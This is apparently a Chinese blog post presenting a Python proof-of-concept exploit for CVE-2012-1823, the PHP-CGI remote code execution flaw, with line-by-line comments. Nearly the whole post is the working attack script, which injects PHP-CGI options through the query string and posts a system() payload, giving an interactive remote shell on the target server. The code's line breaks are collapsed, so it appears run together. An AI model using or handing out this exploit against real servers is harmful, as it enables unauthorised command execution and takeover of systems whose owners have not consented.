@ty4z2008
2015-07-30T16:43:42.000000Z
字数 858
阅读 2187
这个PoC演示了CVE-2012-1823 – PHP-CGI的远程代码执行漏洞的利用,下面这个PoC的代码是通过一个简单的循环来获取PoC使用者频繁输入的内容,并且修改HttP头。Post提交请求。这个代码的原理也可以用于其他的示例。因为这段代码演示了如何通过Python创建自定义的HTTP头并且发起请求:
#!/usr/bin/pythonimport sys, urllib2 #导入需要的模块if len(sys.argv) != 2: # 检查输入的格式是否正确 "<script> <URL>"print "Usage: "+sys.argv[0]+" <URL>"sys.exit(0)URL=sys.argv[1] # 输出测试的url链接 "[+] Attempting CVE-2012-1823 - PHP-CGI RCE"while True: # 循环开始时先输出 "~$ " 然后通过"raw_input"获取要执行的命令command=raw_input("~$ ")Host = URL.split('/')[2] # 从URL解析主机名: 'http://<host>/' 并且赋值给Host <host>headers = { # 定义响应头部'Host': Host,'User-Agent': 'Mozilla','Connection': 'keep-alive'}data = "<?php system('"+command+"');die(); ?>" # PHP运行的服务器req = urllib2.Request(URL+"?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input", data, headers)try: # 使用Try/Except处理响应信息response = urllib2.urlopen(req) # 发起请求for line in response.readlines():print line.strip()except Exception as e: print e
结果演示
